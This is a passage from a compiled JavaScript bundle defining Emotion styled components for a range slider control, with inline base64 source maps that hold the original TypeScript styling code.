G5cdGJ1dHRvbi5pcy1zbWFsbCB7XG5cdFx0bWFyZ2luLWxlZnQ6IDA7XG5cdFx0JHsgcmFuZ2VIZWlnaHQgfTtcblx0fVxuXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiA4IH0gKSB9XG5gO1xuIl19 */");
30669 var Wrapper2 = /* @__PURE__ */ createStyled("div", false ? {
30670 shouldForwardProp: (prop) => !["color", "marks"].includes(prop),
30671 target: "e1epgpqk13"
30672 } : {
30673 shouldForwardProp: (prop) => !["color", "marks"].includes(prop),
30674 target: "e1epgpqk13",
30675 label: "Wrapper"
30676 })("display:block;flex:1;position:relative;width:100%;", wrapperColor, ";", rangeHeight, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQXVEbUIiLCJmaWxlIjoicmFuZ2UtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBOdW1iZXJDb250cm9sIGZyb20gJy4uLy4uL251bWJlci1jb250cm9sJztcbmltcG9ydCB7IENPTE9SUywgcnRsLCBDT05GSUcgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuaW1wb3J0IHR5cGUge1xuXHRSYW5nZU1hcmtQcm9wcyxcblx0UmFpbFByb3BzLFxuXHRUaHVtYlByb3BzLFxuXHRUb29sdGlwUHJvcHMsXG5cdFRyYWNrUHJvcHMsXG5cdFdyYXBwZXJQcm9wcyxcblx0UmFuZ2VDb250cm9sUHJvcHMsXG59IGZyb20gJy4uL3R5cGVzJztcblxuY29uc3QgcmFuZ2VIZWlnaHRWYWx1ZSA9IDMwO1xuY29uc3QgcmFpbEhlaWdodCA9IDQ7XG5jb25zdCByYW5nZUhlaWdodCA9ICgpID0+XG5cdGNzcyggeyBoZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUsIG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5jb25zdCB0aHVtYlNpemUgPSAxMjtcblxuY29uc3QgZGVwcmVjYXRlZEhlaWdodCA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBQaWNrPCBSYW5nZUNvbnRyb2xQcm9wcywgJ19fbmV4dDQwcHhEZWZhdWx0U2l6ZScgPiApID0+XG5cdCEgX19uZXh0NDBweERlZmF1bHRTaXplICYmIGNzcyggeyBtaW5IZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUgfSApO1xuXG50eXBlIFJvb3RQcm9wcyA9IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+O1xuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQuZGl2PCBSb290UHJvcHMgPmBcblx0LXdlYmtpdC10YXAtaGlnaGxpZ2h0LWNvbG9yOiB0cmFuc3BhcmVudDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0anVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xuXHRwYWRkaW5nOiAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHRvdWNoLWFjdGlvbjogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdC8qIFRPRE86IHJlbW92ZSBhZnRlciByZW1vdmluZyB0aGUgX19uZXh0NDBweERlZmF1bHRTaXplIHByb3AgKi9cblx0JHsgZGVwcmVjYXRlZEhlaWdodCB9O1xuYDtcblxuY29uc3Qgd3JhcHBlckNvbG9yID0gKCB7IGNvbG9yID0gQ09MT1JTLnVpLmJvcmRlckZvY3VzIH06IFdyYXBwZXJQcm9wcyApID0+XG5cdGNzcyggeyBjb2xvciB9ICk7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkKCAnZGl2Jywge1xuXHRzaG91bGRGb3J3YXJkUHJvcDogKCBwcm9wOiBzdHJpbmcgKSA9PlxuXHRcdCEgWyAnY29sb3InLCAnbWFya3MnIF0uaW5jbHVkZXMoIHByb3AgKSxcbn0gKTwgV3JhcHBlclByb3BzID5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRmbGV4OiAxO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHdpZHRoOiAxMDAlO1xuXG5cdCR7IHdyYXBwZXJDb2xvciB9O1xuXHQkeyByYW5nZUhlaWdodCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEJlZm9yZUljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luUmlnaHQ6IDYgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBZnRlckljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogNiB9ICkgfVxuYDtcblxuY29uc3QgcmFpbEJhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgcmFpbENvbG9yIH06IFJhaWxQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0XHQ6IHJhaWxDb2xvciB8fCBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0gfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6IEdyYXlUZXh0O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBSYWlsID0gc3R5bGVkLnNwYW5gXG5cdGxlZnQ6IDA7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRyaWdodDogMDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdGhlaWdodDogJHsgcmFpbEhlaWdodCB9cHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblxuXHQkeyByYWlsQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5jb25zdCB0cmFja0JhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgdHJhY2tDb2xvciB9OiBUcmFja1Byb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy50aGVtZS5ncmF5WyA0MDAgXVxuXHRcdFx0OiB0cmFja0NvbG9yIHx8ICdjdXJyZW50Q29sb3InIH07XG5cblx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZCA/ICdHcmF5VGV4dCcgOiAnQ2FudmFzVGV4dCcgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVHJhY2sgPSBzdHlsZWQuc3BhbmBcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdG1hcmdpbi10b3A6ICR7ICggcmFuZ2VIZWlnaHRWYWx1ZSAtIHJhaWxIZWlnaHQgKSAvIDIgfXB4O1xuXHR0b3A6IDA7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IHdpZHRoIGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0cmFja0JhY2tncm91bmRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmtzV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRtYXJnaW4tdG9wOiAxN3B4O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmsgPSBzdHlsZWQuc3BhbmBcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRsZWZ0OiAwO1xuXHR0b3A6IC00cHg7XG5cdGhlaWdodDogNHB4O1xuXHR3aWR0aDogMnB4O1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIC01MCUgKTtcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0ei1pbmRleDogMTtcbmA7XG5cbmNvbnN0IG1hcmtMYWJlbEZpbGwgPSAoIHsgaXNGaWxsZWQgfTogUmFuZ2VNYXJrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogaXNGaWxsZWQgPyBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF0gOiBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0sXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBNYXJrTGFiZWwgPSBzdHlsZWQuc3BhbmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXHRmb250LXNpemU6IDExcHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiA4cHg7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cblx0JHsgcnRsKCB7IGxlZnQ6IDAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC01MCUgKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDUwJSApJyB9XG5cdCkgfTtcblxuXHQkeyBtYXJrTGFiZWxGaWxsIH07XG5gO1xuXG5jb25zdCB0aHVtYkNvbG9yID0gKCB7IGRpc2FibGVkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgfXB4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gdGh1bWJTaXplICkgLyAyIH1weDtcblx0b3V0bGluZTogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHR6LWluZGV4OiAzO1xuXG5cdC5pcy1tYXJrZWQgJiB7XG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiBsZWZ0IGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiAtMTAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDQuNXB4ICknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKCAtNC41cHggKScgfVxuXHQpIH07XG5gO1xuXG5jb25zdCB0aHVtYkZvY3VzID0gKCB7IGlzRm9jdXNlZCB9OiBUaHVtYlByb3BzICkgPT4ge1xuXHRyZXR1cm4gaXNGb2N1c2VkXG5cdFx0PyBjc3NgXG5cdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0Y29udGVudDogJyAnO1xuXHRcdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHRcdFx0b3BhY2l0eTogMC40O1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRcdFx0XHRcdGhlaWdodDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0d2lkdGg6ICR7IHRodW1iU2l6ZSArIDggfXB4O1xuXHRcdFx0XHRcdHRvcDogLTRweDtcblx0XHRcdFx0XHRsZWZ0OiAtNHB4O1xuXG5cdFx0XHRcdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0XHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0ICBgXG5cdFx0OiAnJztcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYiA9IHN0eWxlZC5zcGFuPCBUaHVtYlByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRoZWlnaHQ6IDEwMCU7XG5cdG91dGxpbmU6IDA7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdHdpZHRoOiAxMDAlO1xuXHRib3gtc2hhZG93OiAkeyBDT05GSUcuZWxldmF0aW9uWFNtYWxsIH07XG5cblx0JHsgdGh1bWJDb2xvciB9O1xuXHQkeyB0aHVtYkZvY3VzIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSW5wdXRSYW5nZSA9IHN0eWxlZC5pbnB1dGBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAxMDAlO1xuXHRsZWZ0OiAwO1xuXHRtYXJnaW46IDAgLSR7IHRodW1iU2l6ZSAvIDIgfXB4O1xuXHRvcGFjaXR5OiAwO1xuXHRvdXRsaW5lOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHJpZ2h0OiAwO1xuXHR0b3A6IDA7XG5cdHdpZHRoOiBjYWxjKCAxMDAlICsgJHsgdGh1bWJTaXplIH1weCApO1xuYDtcblxuY29uc3QgdG9vbHRpcFNob3cgPSAoIHsgc2hvdyB9OiBUb29sdGlwUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0ZGlzcGxheTogJHsgc2hvdyA/ICdpbmxpbmUtYmxvY2snIDogJ25vbmUnIH07XG5cdFx0b3BhY2l0eTogJHsgc2hvdyA/IDEgOiAwIH07XG5cblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246XG5cdFx0XHRcdG9wYWNpdHkgMTIwbXMgZWFzZSxcblx0XHRcdFx0ZGlzcGxheSAxMjBtcyBlYXNlIGFsbG93LWRpc2NyZXRlO1xuXHRcdH1cblxuXHRcdEBzdGFydGluZy1zdHlsZSB7XG5cdFx0XHRvcGFjaXR5OiAwO1xuXHRcdH1cblx0YDtcbn07XG5cbmNvbnN0IHRvb2x0aXBQbGFjZW1lbnQgPSAoIHsgcGxhY2VtZW50IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0Y29uc3QgaXNCb3R0b20gPSBwbGFjZW1lbnQgPT09ICdib3R0b20nO1xuXG5cdGlmICggaXNCb3R0b20gKSB7XG5cdFx0cmV0dXJuIGNzc2Bcblx0XHRcdGJvdHRvbTogLTgwJTtcblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHR0b3A6IC04MCU7XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHRpcCA9IHN0eWxlZC5zcGFuPCBUb29sdGlwUHJvcHMgPmBcblx0YmFja2dyb3VuZDogcmdiYSggMCwgMCwgMCwgMC44ICk7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRjb2xvcjogd2hpdGU7XG5cdGZvbnQtc2l6ZTogMTJweDtcblx0bWluLXdpZHRoOiAzMnB4O1xuXHRwYWRkaW5nOiA0cHggOHB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRsaW5lLWhlaWdodDogMS40O1xuXG5cdCR7IHRvb2x0aXBTaG93IH07XG5cblx0JHsgdG9vbHRpcFBsYWNlbWVudCB9O1xuXHQkeyBydGwoXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKC01MCUpJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCg1MCUpJyB9XG5cdCkgfVxuYDtcblxuLy8gQHRvZG8gUmVmYWN0b3IgUmFuZ2VDb250cm9sIHdpdGggbGF0ZXN0IEhTdGFjayBjb25maWd1cmF0aW9uXG4vLyBAc2VlOiBwYWNrYWdlcy9jb21wb25lbnRzL3NyYy9oLXN0YWNrXG5leHBvcnQgY29uc3QgSW5wdXROdW1iZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRmb250LXNpemU6IDEzcHg7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0aW5wdXRbdHlwZT0nbnVtYmVyJ10mIHtcblx0XHQkeyByYW5nZUhlaWdodCB9O1xuXHR9XG5cblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IGAkeyBzcGFjZSggNCApIH0gIWltcG9ydGFudGAgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBY3Rpb25SaWdodFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0YnV0dG9uLFxuXHRidXR0b24uaXMtc21hbGwge1xuXHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogOCB9ICkgfVxuYDtcbiJdfQ== */"));
30677 var BeforeIconWrapper = /* @__PURE__ */ createStyled("span", false ? {
30678 target: "e1epgpqk12"
30679 } : {
30680 target: "e1epgpqk12",
30681 label: "BeforeIconWrapper"
30682 })("display:flex;margin-top:", railHeight, "px;", rtl({
30683 marginRight: 6
30684 }), ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQWlFNEMiLCJmaWxlIjoicmFuZ2UtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBOdW1iZXJDb250cm9sIGZyb20gJy4uLy4uL251bWJlci1jb250cm9sJztcbmltcG9ydCB7IENPTE9SUywgcnRsLCBDT05GSUcgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuaW1wb3J0IHR5cGUge1xuXHRSYW5nZU1hcmtQcm9wcyxcblx0UmFpbFByb3BzLFxuXHRUaHVtYlByb3BzLFxuXHRUb29sdGlwUHJvcHMsXG5cdFRyYWNrUHJvcHMsXG5cdFdyYXBwZXJQcm9wcyxcblx0UmFuZ2VDb250cm9sUHJvcHMsXG59IGZyb20gJy4uL3R5cGVzJztcblxuY29uc3QgcmFuZ2VIZWlnaHRWYWx1ZSA9IDMwO1xuY29uc3QgcmFpbEhlaWdodCA9IDQ7XG5jb25zdCByYW5nZUhlaWdodCA9ICgpID0+XG5cdGNzcyggeyBoZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUsIG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5jb25zdCB0aHVtYlNpemUgPSAxMjtcblxuY29uc3QgZGVwcmVjYXRlZEhlaWdodCA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBQaWNrPCBSYW5nZUNvbnRyb2xQcm9wcywgJ19fbmV4dDQwcHhEZWZhdWx0U2l6ZScgPiApID0+XG5cdCEgX19uZXh0NDBweERlZmF1bHRTaXplICYmIGNzcyggeyBtaW5IZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUgfSApO1xuXG50eXBlIFJvb3RQcm9wcyA9IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+O1xuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQuZGl2PCBSb290UHJvcHMgPmBcblx0LXdlYmtpdC10YXAtaGlnaGxpZ2h0LWNvbG9yOiB0cmFuc3BhcmVudDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0anVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xuXHRwYWRkaW5nOiAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHRvdWNoLWFjdGlvbjogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdC8qIFRPRE86IHJlbW92ZSBhZnRlciByZW1vdmluZyB0aGUgX19uZXh0NDBweERlZmF1bHRTaXplIHByb3AgKi9cblx0JHsgZGVwcmVjYXRlZEhlaWdodCB9O1xuYDtcblxuY29uc3Qgd3JhcHBlckNvbG9yID0gKCB7IGNvbG9yID0gQ09MT1JTLnVpLmJvcmRlckZvY3VzIH06IFdyYXBwZXJQcm9wcyApID0+XG5cdGNzcyggeyBjb2xvciB9ICk7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkKCAnZGl2Jywge1xuXHRzaG91bGRGb3J3YXJkUHJvcDogKCBwcm9wOiBzdHJpbmcgKSA9PlxuXHRcdCEgWyAnY29sb3InLCAnbWFya3MnIF0uaW5jbHVkZXMoIHByb3AgKSxcbn0gKTwgV3JhcHBlclByb3BzID5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRmbGV4OiAxO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHdpZHRoOiAxMDAlO1xuXG5cdCR7IHdyYXBwZXJDb2xvciB9O1xuXHQkeyByYW5nZUhlaWdodCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEJlZm9yZUljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luUmlnaHQ6IDYgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBZnRlckljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogNiB9ICkgfVxuYDtcblxuY29uc3QgcmFpbEJhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgcmFpbENvbG9yIH06IFJhaWxQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0XHQ6IHJhaWxDb2xvciB8fCBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0gfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6IEdyYXlUZXh0O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBSYWlsID0gc3R5bGVkLnNwYW5gXG5cdGxlZnQ6IDA7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRyaWdodDogMDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdGhlaWdodDogJHsgcmFpbEhlaWdodCB9cHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblxuXHQkeyByYWlsQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5jb25zdCB0cmFja0JhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgdHJhY2tDb2xvciB9OiBUcmFja1Byb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy50aGVtZS5ncmF5WyA0MDAgXVxuXHRcdFx0OiB0cmFja0NvbG9yIHx8ICdjdXJyZW50Q29sb3InIH07XG5cblx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZCA/ICdHcmF5VGV4dCcgOiAnQ2FudmFzVGV4dCcgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVHJhY2sgPSBzdHlsZWQuc3BhbmBcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdG1hcmdpbi10b3A6ICR7ICggcmFuZ2VIZWlnaHRWYWx1ZSAtIHJhaWxIZWlnaHQgKSAvIDIgfXB4O1x